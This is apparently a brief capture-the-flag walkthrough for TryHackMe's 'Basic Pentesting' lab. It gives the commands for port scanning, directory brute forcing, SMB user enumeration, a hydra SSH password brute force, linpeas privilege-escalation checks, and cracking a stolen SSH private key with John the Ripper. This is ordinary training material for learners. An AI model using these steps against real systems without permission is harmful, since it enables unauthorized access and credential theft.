Basic Pentesting THM

Connect the target machine using openvpn with your kali linux (attacker machine).
Take the Ip address of target and use nmap scan to scan the target.
Nmap -A -T4 -p- < ip addr > --open

If 80 port is open try http://ip-addr on your browser

To search the hidden directories use dirbuster, gobuster or dirsearch
gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/list.txt

Got hidden directory – development

Try http://ip-addr/development
We got to files
It says he has configured smb

Use smb to find username
enum4linux -a < ip addr >

Got the username - “jan” and “kay”

Now use tool hydra to bruteforce the password for username jan
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://ip-addr

We got the password – armando

Try connecting to the target using ssh
ssh jan@ip-addr
Give password armando

Now we need to do privilege escalation using linpeas

Download linpeas.sh in attacker machine and send it to target
scp liinpeas.sh jan@ip-addr://dev/shm

In ssh'd machine change to permissions to executables
chmod +x linpeas.sh

./linpeas.sh

It gave me id_rsa file in .ssh folder (hidden)

After copying the private key to my computer I'll run JohnTheRipper with rockyou.txt wordlist.
Before I start I need to make the id_rsa file compatible with JohnTheRipper. In order to that I'll use ssh2john.py.

/usr/share/john/ssh2john.py kay_id_rsa > compatible.txt

john compatible.txt --wordlist=/usr/share/wordlists/rockyou.txt

Got the pass "beeswax"

Let's connect to the target machine via SSH with kay's ssh private key.
ssh -i kay_id_rsa kay@ip-addr

Now I'm in. If you are facing "UNPROTECTED PRIVATE KEY FILE!" warning you should just change permissions to 400.

chmod 400 kay_id_rsa

ssh -i kay_id_rsa kay@ip-addr

Connected to the target machine with the other user "kay"

And got the final password